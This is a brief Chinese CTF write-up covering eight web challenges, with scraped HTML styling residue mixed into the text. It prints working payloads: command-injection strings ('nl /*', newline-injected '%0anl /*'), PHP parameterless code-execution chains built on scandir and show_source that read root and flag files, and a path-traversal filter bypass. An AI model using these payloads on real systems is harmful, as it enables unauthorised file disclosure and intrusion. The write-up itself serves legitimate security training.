1.RCEME?comnl /* //因为当前目录无flag所以需要到根目录font stylecolor:rgb(0, 0, 0);background-color:rgba(0, 0, 0, 0);nl/font 查看文件和 cat 一样长度 2font stylecolor:rgb(0, 0, 0);background-color:rgba(0, 0, 0, 0);/*/font 匹配根目录所有文件长度 2合起来**font stylecolor:rgb(0, 0, 0);background-color:rgba(0, 0, 0, 0);nl /*/font**一共 5 个字符完美符合限制2.EZGAME是一个 2048 游戏查看源代码得到3.PINGping 的命令执行依旧%0anl /* //%0a是换行符4.are you from squn抓包修改为 post 请求字段长必须为 15检查有无空白占位5.商丘一日游主要第三部分和第七部分因为蚁剑连不上所以第七部分 拼接 URL Tourist_fragment76.my blog随便点击进入 pdf得到用户名 密码尝试寻找登陆点login.phpflag{5350c81a2e444a6ea3ab61e3b6462d04}7.无参之舞爆破?expecho var_dump(scandir(current(localeconv()))); ?expecho file_get_contents(f1ag.php); 补充 show_source(array_rand(array_flip(scandir(dirname(dirname(dirname(getcwd())))))));8.Through再 index.php 下还可访问 index.php想到路径穿越使用双写绕过